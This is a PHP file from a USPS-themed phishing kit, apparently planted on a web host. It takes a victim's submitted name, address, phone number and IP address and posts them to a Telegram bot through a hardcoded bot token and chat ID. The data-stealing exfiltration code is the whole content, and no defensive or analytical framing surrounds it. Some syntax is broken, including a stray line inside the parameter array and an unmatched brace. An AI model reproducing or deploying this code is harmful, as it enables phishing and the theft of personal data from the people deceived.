File: /home/axxoncom/public_html/ap/untitled.php
<?php
$message = "-------------------- <3 USPS <3-------------------\nFull Name : ".$_POST['fullname']."\nAddress 1 : ".$_POST['add1']."\nAddress 2 : ".$_POST['add2']."\nCity : ".$_POST['city']."\nstate : ".$_POST['sstate']."\nzip Code : ".$_POST['zipp']."\nPhone num : ".$_POST['phonee']."\nIP : ".$ip."\n-------------------- <3 USPS <3-------------------\n";
$botToken="7151616173:AAF8dxMtekbZU9glo4h7cKSDEO7iP-mD6mE";
$website="https://api.telegram.org/bot".$botToken;
$chatId="5214868552";
$params=[
'chat_id'=>$chatId,
'text'=>$message,
send (method: "sendMessage", $paramaters)
];
$ch = curl_init($website . '/sendMessage');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
}
?>